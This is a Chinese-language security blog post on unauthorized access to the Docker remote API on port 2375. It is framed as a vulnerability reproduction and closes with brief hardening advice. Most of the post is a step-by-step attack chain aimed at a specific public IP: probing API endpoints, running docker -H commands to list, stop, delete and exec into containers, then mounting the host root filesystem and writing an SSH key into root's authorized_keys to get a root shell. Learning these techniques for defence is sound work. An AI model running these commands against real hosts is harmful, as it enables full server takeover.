【云安全】云原生-Docker(六)Docker API 未授权访问

Docker API 未授权访问 是一个非常严重的安全漏洞,可能导致严重的安全风险。

什么是 Docker API ?

Docker API 是 Docker 容器平台提供的一组 RESTful API,用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API,用户可以通过 HTTP 请求来执行诸如创建、启动、停止、删除容器等操作。同时,Docker API 还允许用户管理镜像、网络、卷等 Docker 资源。用户可以使用任何支持 HTTP 请求的工具或库来访问 Docker API,从而实现与 Docker 容器平台的集成和自动化管理。

Docker API 未授权访问

漏洞背景

Docker 守护进程(Docker Daemon)默认监听在 Unix 套接字(`unix:///var/run/docker.sock`)上,但有时为了方便管理,用户会将 Docker API 暴露在 TCP 端口(如 `2375` 或 `2376`)上。如果未正确配置访问控制(如未启用 TLS 加密和认证),攻击者可以直接访问 Docker API,从而完全控制 Docker 主机及其容器。

漏洞复现

1、快速搭建环境

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

如果出现如下报错,表明 Docker 守护进程在启动时失败了,原因是 docker 守护进程已经在运行

停止进程,重新执行刚才的命令,环境搭建成功

#1、确认 Docker 守护进程是否正在运行
ps aux | grep dockerd
#2、如果正在运行,先停止它
sudo systemctl stop docker

2、浏览器访问,这样即存在 Docker API 未授权访问漏洞

常见探测路径

http://39.105.123.35:2375/version
http://39.105.123.35:2375/info
http://39.105.123.35:2375/images/json
http://39.105.123.35:2375/containers/json    

3、攻击者便可以远程通过Docker客户端连接,以下为常见操作

#列出所有容器
docker -H 39.105.123.35 ps -a
#查看镜像
docker -H 39.105.123.35 images
#拉取镜像
docker -H 39.105.123.35 pull ubuntu
#停止一个已经运行的容器
docker -H 39.105.123.35 stop c198868f6660
#删除容器
docker -H 39.105.123.35 rm c198868f6660
#进入容器
docker -H 39.105.123.35 exec -it 08d28346ff2d /bin/bash

4、写公钥获取shell

#生成公钥
ssh-keygen -t rsa
#查看生成的公钥
cat /root/.ssh/id_rsa.pub
#运行一个容器挂载宿主机的根目录到容器/mnt目录
docker -H tcp://39.105.123.35 run -it -v /:/mnt --entrypoint /bin/bash nginx
#写入公钥到宿主机
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBA/ZttXREVO+V615UhA2GoQvfmy1JnyJ0eqPnDlAyMxTi9Jahr0IBzqfxk+6hZzdy1a22YwnAOYnSvjkpR8eOYnxb0UoVmXpWMRNqW34v8liJGbc6m1Y5FsottqZfZVRe1UzfvuuOPnUW+oboqT5SvGSH0EXKiQoNFy4fafxHv2mO5E3roac1G1CbA/oPhbnFzFy8qcYjpc1BwSYG60+0IUutX+j2GasXFsieHKyV9U6a9vWLW4OkNUjCnzc/NEbgP/JG7t19NOHrjp4+IA7MGoCfui6G7j8a+PKslJG1hKu/B6frVfWNHVMQkBcmBxZtcmnCxeu+e10YiBtEPi+7 root@master-1" > /mnt/root/.ssh/authorized_keys

5、容器逃逸:连接目标主机获取shell

ssh root@39.105.123.35 -i id_rsa

总结

Docker API 未授权访问是一个高危漏洞,可能导致容器逃逸、数据泄露、恶意软件部署等严重后果。通过正确配置 TLS 加密、访问控制和防火墙规则,可以有效降低风险。同时,建议定期进行安全审计和漏洞扫描,确保 Docker 环境的安全性。

相关推荐
爱编程的小庄21 分钟前
web网络安全:SQL 注入攻击
前端·sql·web安全
drebander1 小时前
Maven 与 Kubernetes 部署:构建和部署到 Kubernetes 环境中
java·kubernetes·maven
xing.yu.CTF1 小时前
Web入侵实战分析-常见web攻击类应急处置实验2
运维·服务器·windows·web安全·apache·php漏洞·phpstudy后门漏洞
ITPUB-微风2 小时前
58同城深度学习推理平台:基于Istio的云原生网关实践解析
深度学习·云原生·istio
qq_448941084 小时前
10、k8s对外服务之ingress
linux·容器·kubernetes
野猪佩挤4 小时前
minio作为K8S后端存储
云原生·容器·kubernetes
火绒终端安全管理系统4 小时前
火绒终端安全管理系统V2.0【系统防御功能】
网络·安全·网络安全·火绒安全·火绒
drebander4 小时前
Docker 与 Kubernetes(K8s)初探
docker
H轨迹H4 小时前
BUUCTF-Web方向16-20wp
网络安全·渗透测试·ctf·buuctf
黑客KKKing5 小时前
网络安全与防范
安全·web安全